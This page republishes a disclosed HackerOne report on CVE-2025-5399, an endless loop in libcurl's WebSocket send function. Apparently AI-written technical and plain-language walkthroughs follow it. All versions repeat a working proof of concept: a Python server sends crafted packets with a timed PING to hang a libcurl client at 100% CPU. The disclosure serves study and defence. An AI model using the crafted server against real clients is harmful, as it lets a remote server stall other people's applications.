Skip to content
DoS Disclosed report Advanced CVE-2025-5399

CVE-2025-5399: WebSocket endless loop

An infinite loop in libcurl's WebSocket send function can be triggered by a malicious server sending a timed PING message while the client is constructing a frame. This causes the client application to hang and consume 100% CPU indefinitely.

z2_ Follow

Originally disclosed on HackerOne

  • Triaged in 41 hours
  • Fixed in 5 days
  • Disclosed after 5 days

The function curl_ws_send() in libcurl on commit 12d13b84fa40aa657b83d5458944dbd9b978fb7e contains an infinite loop that can be triggered by a malicious server under specific circumstances. If an application uses curl_ws_recv() and curl_ws_send() to communicate with a websocket server, a malicious server can send a carefully timed PING message while the client is constructing a frame via CURLWS_OFFSET that leads to the next curl_ws_send() invocation not terminating a loop that flushes data.

The affected code is in file lib/ws.c in function curl_ws_send() on lines 1376 - 1419:

C
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
    // ...
    
    result = ws_flush(data, ws, Curl_is_in_callback(data));
    if(!result) {
      *sent += ws->sendbuf_payload;
      buffer += ws->sendbuf_payload;
      buflen -= ws->sendbuf_payload;
      ws->sendbuf_payload = 0;
    }
    
    // ...
}

buflen is coming from the application and is the length of data to be sent. If the loop starts with ws->sendbuf_payload == 0, then buflen > ws->sendbuf_payload is always true. After a successful ws_flush(), sent, buffer and buflen remain unmodified and the loop runs forever.

PoC

Consider the following client that repeatedly sends and receives messages:

C
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>

int main (int argc, char** argv) {
    char buffer[512];
    size_t sent;
    size_t n;
    const struct curl_ws_frame* meta;
    CURLcode res;
    
    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:1337/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    curl_easy_perform(curl);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);
    
    // The next curl_ws_recv() will receive a 16-byte PING message and
    // auto-respond with PONG
    
    res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    assert(res == CURLE_AGAIN);
    
    // Restart I/O. The next call to curl_ws_send() will never return
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);
    
    // never reached:
    assert(0);
}

And consider the following server that serves malicious packets:

Python
#!/usr/bin/env python3

import time
import base64
import hashlib
from pwn import *

packets = [
    b'\x01~\x00\x0cHello World!',
    b'\x89F\x9a',
    b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y", 
    b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
    b'\x01~\x00\x0cHello World!',
    b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
    b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
    b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]

def sha1(data):
    h = hashlib.new("sha1")
    h.update(data)
    return h.digest()

with listen(1337) as conn:
    conn.wait_for_connection()
    key = None
    
    while True:
        line = conn.recvline()
        
        if line.startswith(b"Sec-WebSocket-Key: "):
            _, enc = line.split(b" ")
            key = enc.strip()
        elif line == b"\r\n":
            break
    
    key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
    
    conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
    conn.sendline(b"Upgrade: websocket\r")
    conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
    conn.sendline(b"Sec-WebSocket-Version: 13\r")
    conn.sendline(b"\r")
    
    for packet in packets:
        conn.send(packet)

When the server is launched in the background with

$ python3 server.py &

And the client is run with

$ ./client

it can be seen that ./client takes up 100% CPU usage and never terminates.

Explanation

I still don't 100% understand the websocket code and why it comes to this bug but here is a rough overview what happens:

  • The client tries building a 70-byte frame over the course of 3 curl_ws_send() invocations
  • The first two invocations supply 1 + 53 = 54 bytes
  • Then a PING arrives with 16 bytes of content
  • Upon serving the final 16-bytes from the application, the loop occurs

If the auto-pong feature is deactivated via

C
curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);

the infinite loop no longer occurs. The root-cause seems to be in the handling of the PING message.

Impact

Since this bug

  • can be triggered by a remote server
  • makes programs halt their execution and consumes 100% CPU over an indefinite amount of time
  • only occurs when the client behaves in a very specific way

I suggest severity "Low".

The original report as published on HackerOne, by z2_. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

libcurl exposes a WebSocket API through curl_ws_recv() and curl_ws_send(). Applications that use these functions can exchange WebSocket frames with a server, including fragmented frames built up across several calls. The report concerns curl_ws_send() in lib/ws.c, at commit [redacted], and describes an infinite loop that a malicious server can trigger under specific circumstances.

The weakness is classified as a loop with an unreachable exit condition, and the researcher proposed a severity of Low.

Setup

The proof of concept has two parts: a C client that uses libcurl's WebSocket API, and a Python server that sends a fixed sequence of crafted packets. The server script uses pwn (from pwn import *) and listens on port 1337. The client connects to ws://[redacted]:1337/ with CURLOPT_CONNECT_ONLY set to 2L.

The precondition for the bug is an application that both receives and sends WebSocket data, and that builds a frame across multiple curl_ws_send() calls using the CURLWS_OFFSET flag. The server must be able to time a PING message so that it arrives while the client is in the middle of constructing such a frame.

Finding it

The researcher describes the affected code as the loop in curl_ws_send() on lines 1376 to 1419:

C
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
    // ...

    result = ws_flush(data, ws, Curl_is_in_callback(data));
    if(!result) {
      *sent += ws->sendbuf_payload;
      buffer += ws->sendbuf_payload;
      buflen -= ws->sendbuf_payload;
      ws->sendbuf_payload = 0;
    }

    // ...
}

buflen comes from the application and is the length of the data to be sent. If the loop starts with ws->sendbuf_payload == 0, the condition buflen > ws->sendbuf_payload is always true. After a successful ws_flush(), sent, buffer and buflen remain unmodified, so the loop runs forever. The researcher notes that they did not fully understand the WebSocket code and why it reaches this state, and gives the following rough overview instead.

Exploitation

Step 1: the client builds a frame across several calls

The client repeatedly sends and receives messages. The relevant sequence is:

C
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>

int main (int argc, char** argv) {
    char buffer[512];
    size_t sent;
    size_t n;
    const struct curl_ws_frame* meta;
    CURLcode res;

    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ws://[redacted]:1337/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    curl_easy_perform(curl);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);

    // The next curl_ws_recv() will receive a 16-byte PING message and
    // auto-respond with PONG

    res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    assert(res == CURLE_AGAIN);

    // Restart I/O. The next call to curl_ws_send() will never return

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);

    // never reached:
    assert(0);
}

The client is trying to build a 70-byte frame over the course of three curl_ws_send() invocations. The first two invocations supply 1 + 53 = 54 bytes. Then a PING arrives with 16 bytes of content. When the application supplies the final 16 bytes, the loop occurs. The comment in the client says the next curl_ws_recv() will receive a 16-byte PING and auto-respond with PONG; the receive returns CURLE_AGAIN, and the next curl_ws_send() never returns.

Step 2: the server sends the crafted packets

The server performs the WebSocket handshake by hand and then writes a fixed list of packets:

Python
#!/usr/bin/env python3

import time
import base64
import hashlib
from pwn import *

packets = [
    b'\x01~\x00\x0cHello World!',
    b'\x89F\x9a',
    b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y",
    b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
    b'\x01~\x00\x0cHello World!',
    b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
    b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
    b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]

def sha1(data):
    h = hashlib.new("sha1")
    h.update(data)
    return h.digest()

with listen(1337) as conn:
    conn.wait_for_connection()
    key = None

    while True:
        line = conn.recvline()

        if line.startswith(b"Sec-WebSocket-Key: "):
            _, enc = line.split(b" ")
            key = enc.strip()
        elif line == b"\r\n":
            break

    key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"

    conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
    conn.sendline(b"Upgrade: websocket\r")
    conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
    conn.sendline(b"Sec-WebSocket-Version: 13\r")
    conn.sendline(b"\r")

    for packet in packets:
        conn.send(packet)

The server reads the client's Sec-WebSocket-Key header, appends the string 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, and returns the SHA-1 of that value, base64-encoded, as Sec-WebSocket-Accept in a 101 Switching Protocols response. It then sends the eight packets in order. The timing of the PING relative to the client's frame construction is what matters: the client must be mid-frame when the PING is processed.

Step 3: observe the hang

The server is launched in the background:

Bash
$ python3 server.py &

and the client is run:

Bash
$ ./client

./client then takes up 100% CPU usage and never terminates.

Step 4: confirm the auto-pong involvement

If the auto-pong feature is deactivated with:

C
curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);

the infinite loop no longer occurs. The researcher states that the root cause seems to be in the handling of the PING message.

Root cause

The loop in curl_ws_send() continues while the send buffer is non-empty or while buflen exceeds ws->sendbuf_payload. When the loop begins with ws->sendbuf_payload == 0, the second condition is always true, and a successful ws_flush() does not change sent, buffer or buflen, so there is no progress and no exit. The researcher gives a rough overview: a PING arriving while a frame is assembled with CURLWS_OFFSET leads to the loop, and the root cause seems to be in the handling of the PING message. The researcher notes that they do not fully understand the WebSocket code and why it reaches this state, and that disabling auto-pong removes the loop.

Impact

A remote server can trigger the bug, causing the client program to halt its execution and consume 100% CPU for an indefinite amount of time. It only occurs when the client behaves in a very specific way: it must use curl_ws_recv() and curl_ws_send() together and build a frame across multiple calls with CURLWS_OFFSET. On that basis the researcher suggests severity Low.

Fix

The report does not describe a fix or a patch. It notes that with CURLWS_NOAUTOPONG set, the infinite loop no longer occurs.

  1. Other libcurl versions and builds: run the same client and server pair against different commits and configurations to see whether the hang reproduces. A positive result is the client spinning at 100% CPU and never returning from curl_ws_send().
  2. Different frame sizes and fragment boundaries: vary the total frame length and the split between curl_ws_send() calls so that the PING lands at different points in frame construction. A positive result is the same non-terminating send.
  3. PING timing: send the PING at different offsets relative to the client's sends, including before the first fragment and between later fragments. A positive result is a hang that depends on the PING arriving while a frame is partially built.
  4. Auto-pong disabled: repeat the tests with CURLWS_NOAUTOPONG set. A negative result (no hang) supports the PING handling as the trigger and helps scope which applications are affected.
  5. Applications that mix receive and send in a loop: look for real clients that call curl_ws_recv() and curl_ws_send() in sequence with CURLWS_OFFSET, since those are the ones a malicious server can stall.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A library called libcurl, which many programs use to talk to servers over the internet, has a feature for a kind of live, two-way connection called a WebSocket. In one specific situation, a malicious server can make a program that uses this feature get stuck forever in a loop, using 100% CPU and never finishing what it was doing. The researcher who found this gave it a severity of Low, because it only happens when the client program is written in a very particular way.

This article walks through the report step by step, explaining every term as it comes up. You do not need to know how to program to follow it; you only need to know roughly what a program and a server are.

Background: what libcurl and WebSockets are

libcurl is a piece of software (a library) that programmers include in their own programs so they do not have to write all the code for talking over a network themselves. Think of it as a universal remote control: instead of learning how every television brand works, you press the same buttons and the remote handles the differences. libcurl does the same for network conversations.

A WebSocket is a type of connection between a program (the client) and a computer somewhere else (the server) where both sides can send messages to each other at any time, without one having to ask first. A normal web page request is like sending a letter and waiting for a reply; a WebSocket is more like a phone call that stays open, where either person can speak whenever they like. Chat applications and live scoreboards commonly use WebSockets.

libcurl gives programmers two functions for this:

  • curl_ws_recv(): receive a message from the server.
  • curl_ws_send(): send a message to the server.

A function here is simply a named action a program can perform, like a button on that universal remote. When a program "calls" a function, it asks libcurl to do that action.

A WebSocket message is sent in a package called a frame. Frames can be small, and a single logical message can be split across several frames. libcurl also lets a program build one frame in pieces, across several calls to curl_ws_send(), using a flag called CURLWS_OFFSET. A flag is an extra instruction attached to a function call, like ticking a box on a form to say "this is a continuation, not a new message".

The report concerns the code of curl_ws_send() in a file called lib/ws.c, at a specific saved version (a commit, which is like a numbered snapshot of the code) identified as [redacted]. The weakness is classified as a loop with an unreachable exit condition: a loop is a piece of code that repeats until something tells it to stop, and here the stopping condition can never become true, so it repeats forever. The researcher proposed a severity of Low.

Setting up the demonstration

The proof of concept (a small demonstration that proves the bug is real) has two parts:

  1. A client written in the C programming language, which uses libcurl's WebSocket functions.
  2. A server written in the Python programming language, which sends a fixed sequence of prepared messages.

The server script uses a helper toolkit called pwn (the line from pwn import * pulls it in) and waits for connections on port 1337. A port is like an apartment number on a building: the building is the computer, and the port number tells the network which program inside should receive the message. The client connects to the address ws://[redacted]:1337/. The [redacted] part is a special address meaning "this same computer", so both halves run on one machine for the test. The ws:// prefix means "this is a WebSocket address".

The client sets an option called CURLOPT_CONNECT_ONLY to the value 2L.

For the bug to happen, two conditions must both be true:

  • The client program must both receive and send WebSocket data.
  • It must build a frame across several curl_ws_send() calls using the CURLWS_OFFSET flag.

The server must also be able to time a PING message so that it arrives while the client is in the middle of building such a frame. A PING is a small built-in WebSocket message that one side sends to check the other is still alive; the receiver is expected to answer with a PONG. libcurl can answer automatically, without the program having to do anything.

Finding the problem

The researcher points to the loop inside curl_ws_send(), on lines 1376 to 1419 of the file:

C
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
    // ...

    result = ws_flush(data, ws, Curl_is_in_callback(data));
    if(!result) {
      *sent += ws->sendbuf_payload;
      buffer += ws->sendbuf_payload;
      buflen -= ws->sendbuf_payload;
      ws->sendbuf_payload = 0;
    }

    // ...
}

Line by line, in plain words:

  • while(...) { ... } means "keep repeating everything inside the braces as long as the condition in the brackets is true".
  • !Curl_bufq_is_empty(&ws->sendbuf) asks: is there still data waiting in the outgoing queue? The ! means "not", so this part is true when the queue is not empty.
  • || means "or". So the loop continues if either the queue has data, or the second condition is true.
  • buflen > ws->sendbuf_payload compares two numbers: buflen is how much data the program asked to send, and ws->sendbuf_payload is how much of it is currently held in the internal buffer.
  • ws_flush(...) is the action that actually pushes buffered data out towards the network.
  • if(!result) means "if the flush succeeded" (a result of zero conventionally means success here).
  • Inside that block, *sent += ws->sendbuf_payload; adds the flushed amount to the running total of bytes sent, buffer += ws->sendbuf_payload; moves the starting point forward in the data, buflen -= ws->sendbuf_payload; reduces the remaining amount, and ws->sendbuf_payload = 0; marks the buffer as empty.

The problem: buflen comes from the application and is the length of data to be sent. If the loop starts with ws->sendbuf_payload == 0 (the buffer is empty), then buflen > ws->sendbuf_payload is always true, because any positive number is greater than zero. And after a successful ws_flush(), the values sent, buffer and buflen are not changed, so nothing moves forward and the loop has no way to end. It is like a washing machine that keeps running because the "finished" sensor is stuck, and the timer never counts down.

The researcher openly notes that they did not fully understand the WebSocket code or why it reaches this state, and offers a rough overview instead.

Exploitation

Step 1: the client builds a frame across several calls

The client repeatedly sends and receives messages. The relevant part of its code is:

C
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>

int main (int argc, char** argv) {
    char buffer[512];
    size_t sent;
    size_t n;
    const struct curl_ws_frame* meta;
    CURLcode res;

    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ws://[redacted]:1337/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    curl_easy_perform(curl);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);

    // The next curl_ws_recv() will receive a 16-byte PING message and
    // auto-respond with PONG

    res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    assert(res == CURLE_AGAIN);

    // Restart I/O. The next call to curl_ws_send() will never return

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);

    // never reached:
    assert(0);
}

What each part does:

  • The #include lines pull in ready-made code from other files: standard input/output tools, system tools, an assertion tool, and libcurl itself.
  • int main (...) is where every C program starts running.
  • char buffer[512]; creates a scratch area of 512 characters to hold received data. size_t sent; and size_t n; are number variables that will record how many bytes were sent or received. meta will hold information about the frame, and res will hold a result code.
  • curl_easy_init() creates a libcurl "handle", the object that keeps track of one connection.
  • curl_easy_setopt(...) sets options on that handle: the address to connect to, and CURLOPT_CONNECT_ONLY set to 2L for WebSocket mode.
  • curl_easy_perform(curl) actually makes the connection.
  • The first curl_ws_recv(...) receives a message from the server into buffer.
  • The first curl_ws_send(...) sends the four characters 1234, with the flags CURLWS_TEXT | CURLWS_CONT.
  • The second curl_ws_send(...) sends a single character X, with a length argument of 70 and the CURLWS_OFFSET flag.
  • The third curl_ws_send(...) sends 53 more bytes from buffer, again with CURLWS_OFFSET.
  • The comment explains that the next receive will get a 16-byte PING and answer it automatically with a PONG.
  • res = curl_ws_recv(...) performs that receive. assert(res == CURLE_AGAIN); checks that the result is CURLE_AGAIN. If the check failed, the program would stop with an error, so this line confirms the expected state.
  • The final curl_ws_recv(...) and curl_ws_send(...) pair is where things go wrong: the send supplies the last 16 bytes of the frame, and per the comment it will never return.
  • assert(0); is a deliberate "this should never be reached" marker. If the program ever got there, it would stop with an error, proving the hang did not happen.

The client is trying to build a 70-byte frame over the course of three curl_ws_send() calls. The first two calls supply 1 + 53 = 54 bytes. Then a PING arrives with 16 bytes of content. When the application supplies the final 16 bytes, the loop occurs. The comment in the client says the next receive gets the 16-byte PING and answers with a PONG automatically; the receive returns CURLE_AGAIN, and the next curl_ws_send() never returns.

Step 2: the server sends the crafted packets

The server performs the WebSocket handshake by hand and then writes a fixed list of packets:

Python
#!/usr/bin/env python3

import time
import base64
import hashlib
from pwn import *

packets = [
    b'\x01~\x00\x0cHello World!',
    b'\x89F\x9a',
    b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y",
    b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
    b'\x01~\x00\x0cHello World!',
    b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
    b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
    b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]

def sha1(data):
    h = hashlib.new("sha1")
    h.update(data)
    return h.digest()

with listen(1337) as conn:
    conn.wait_for_connection()
    key = None

    while True:
        line = conn.recvline()

        if line.startswith(b"Sec-WebSocket-Key: "):
            _, enc = line.split(b" ")
            key = enc.strip()
        elif line == b"\r\n":
            break

    key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"

    conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
    conn.sendline(b"Upgrade: websocket\r")
    conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
    conn.sendline(b"Sec-WebSocket-Version: 13\r")
    conn.sendline(b"\r")

    for packet in packets:
        conn.send(packet)

What each part does:

  • The import lines bring in time, base64, hashlib and pwn.
  • packets = [ ... ] is a list of eight prepared chunks of raw bytes. The b'...' notation means "these are bytes, not ordinary text". The \x sequences are single bytes written in hexadecimal (base 16) notation. These are the messages the server will send.
  • def sha1(data): defines a small helper that computes a SHA-1 hash of some data. A hash is a fingerprint: a fixed-length value derived from the input.
  • with listen(1337) as conn: opens a listening socket on port 1337 and waits for a client to connect.
  • The while True: loop reads the client's opening request line by line. If a line starts with Sec-WebSocket-Key: , it saves the value after the space as key. When it reaches a blank line (\r\n), it stops reading.
  • key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11" appends a fixed, standard string to the key. This appends a fixed string to the key.
  • The conn.sendline(...) calls send back a handshake reply: HTTP/1.1 101 Switching Protocols (meaning "agreed, let us switch to WebSocket"), Upgrade: websocket, the computed Sec-WebSocket-Accept value, and the version number. The final blank line ends the reply.
  • for packet in packets: conn.send(packet) sends the eight prepared chunks in order.

The server reads the client's Sec-WebSocket-Key header, appends the standard WebSocket string 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, and returns the SHA-1 of that value, base64-encoded, as Sec-WebSocket-Accept in a 101 Switching Protocols response. It then sends the eight packets in order. The timing of the PING relative to the client's frame construction is what matters: the client must be mid-frame when the PING is processed.

Step 3: observe the hang

The server is launched in the background:

Bash
$ python3 server.py &

The $ is just the prompt symbol; python3 server.py runs the server script, and the & at the end means "run it in the background so you can keep using the terminal".

Then the client is run:

Bash
$ ./client

The ./ means "the file called client in the current folder". ./client then takes up 100% CPU usage and never terminates. CPU usage is the share of the computer's processor that a program is using; 100% means one core is fully busy, which is the visible sign of the endless loop.

Step 4: confirm the auto-pong involvement

If the automatic PONG reply is switched off with:

C
curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);

the infinite loop no longer occurs. This line sets an option on the libcurl handle: CURLOPT_WS_OPTIONS is the option name, and CURLWS_NOAUTOPONG is the value meaning "do not answer PINGs automatically". The researcher states that the root cause seems to be in the handling of the PING message.

Root cause

The loop in curl_ws_send() continues while the send buffer is non-empty or while buflen exceeds ws->sendbuf_payload. When the loop begins with ws->sendbuf_payload == 0, the second condition is always true, and a successful ws_flush() does not change sent, buffer or buflen, so there is no progress and no exit. The researcher gives a rough overview: a PING arriving while a frame is assembled with CURLWS_OFFSET leads to the loop, and the root cause seems to be in the handling of the PING message. The researcher notes that they do not fully understand the WebSocket code and why it reaches this state, and that disabling auto-pong removes the loop.

Impact

A remote server can trigger the bug, causing the client program to halt its execution and consume 100% CPU for an indefinite amount of time. It only occurs when the client behaves in a very specific way: it must use curl_ws_recv() and curl_ws_send() together and build a frame across multiple calls with CURLWS_OFFSET. On that basis the researcher suggests severity Low. Severity is a rough rating of how serious a bug is; Low means it is real but hard to trigger and limited in effect.

Fix

The report does not describe a fix or a patch. It notes that with CURLWS_NOAUTOPONG set, the infinite loop no longer occurs. A mitigation is a workaround that reduces the risk without fixing the underlying code.

  1. Other libcurl versions and builds: run the same client and server pair against different commits and configurations to see whether the hang reproduces. A positive result is the client spinning at 100% CPU and never returning from curl_ws_send().
  2. Different frame sizes and fragment boundaries: vary the total frame length and the split between curl_ws_send() calls so that the PING lands at different points in frame construction. A positive result is the same non-terminating send.
  3. PING timing: send the PING at different offsets relative to the client's sends, including before the first fragment and between later fragments. A positive result is a hang that depends on the PING arriving while a frame is partially built.
  4. Auto-pong disabled: repeat the tests with CURLWS_NOAUTOPONG set. A negative result (no hang) supports the PING handling as the trigger and helps scope which applications are affected.
  5. Applications that mix receive and send in a loop: look for real clients that call curl_ws_recv() and curl_ws_send() in sequence with CURLWS_OFFSET, since those are the ones a malicious server can stall.

Glossary

  • API: a set of named actions a piece of software offers to other programs, like a menu of buttons you can press.
  • Assertion: a check in a program that stops it with an error if something unexpected is true.
  • Base64: a way of writing raw bytes using only ordinary text characters, so they can travel safely through text-based systems.
  • Buffer: a temporary holding area in memory for data that is being moved from one place to another.
  • Byte: a single unit of digital data, roughly one character of text.
  • C: a programming language commonly used for system software.
  • Client: the program that connects to a server.
  • Commit: a saved, numbered snapshot of a code project's history.
  • CPU: the processor of a computer; 100% CPU usage means one core is fully busy.
  • CURLE_AGAIN: a libcurl result code meaning "nothing available right now, try again later".
  • CURLWS_CONT: a libcurl flag saying more parts of the message will follow.
  • CURLWS_NOAUTOPONG: a libcurl option that disables automatic replies to PING messages.
  • CURLWS_OFFSET: a libcurl flag saying the data supplied is part of a larger frame being built in pieces.
  • CURLWS_TEXT: a libcurl flag saying the message is text.
  • Flag: an extra instruction attached to a function call.
  • Frame: the package in which a WebSocket message, or part of one, is sent.
  • Function: a named action a program can perform.
  • Hash (SHA-1): a fingerprint computed from data; the same input always gives the same fixed-length output.
  • Header: an extra line of information sent alongside a network request or reply.
  • Handshake: the opening exchange where client and server agree to start a WebSocket connection.
  • Infinite loop: a loop in code whose stopping condition can never become true, so it repeats forever.
  • libcurl: a widely used library for network communication.
  • Library: reusable code that programmers include in their own programs.
  • Loop: code that repeats until a condition tells it to stop.
  • Mitigation: a workaround that reduces risk without fixing the underlying code.
  • PING / PONG: small built-in WebSocket messages used to check the other side is still alive; a PING is answered with a PONG.
  • Port: a number that identifies which program on a computer should receive a network message.
  • Proof of concept (PoC): a small demonstration that proves a bug is real.
  • Python: a programming language often used for scripts and tools.
  • Remote: happening from another computer over a network.
  • Root cause: the underlying reason a bug happens.
  • Server: the computer or program that clients connect to.
  • Severity: a rating of how serious a bug is.
  • SHA-1: a specific hash algorithm.
  • WebSocket: a connection where client and server can both send messages at any time without being asked.
  • ws://: the address prefix meaning a WebSocket connection.

More by z2_

View all

11 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.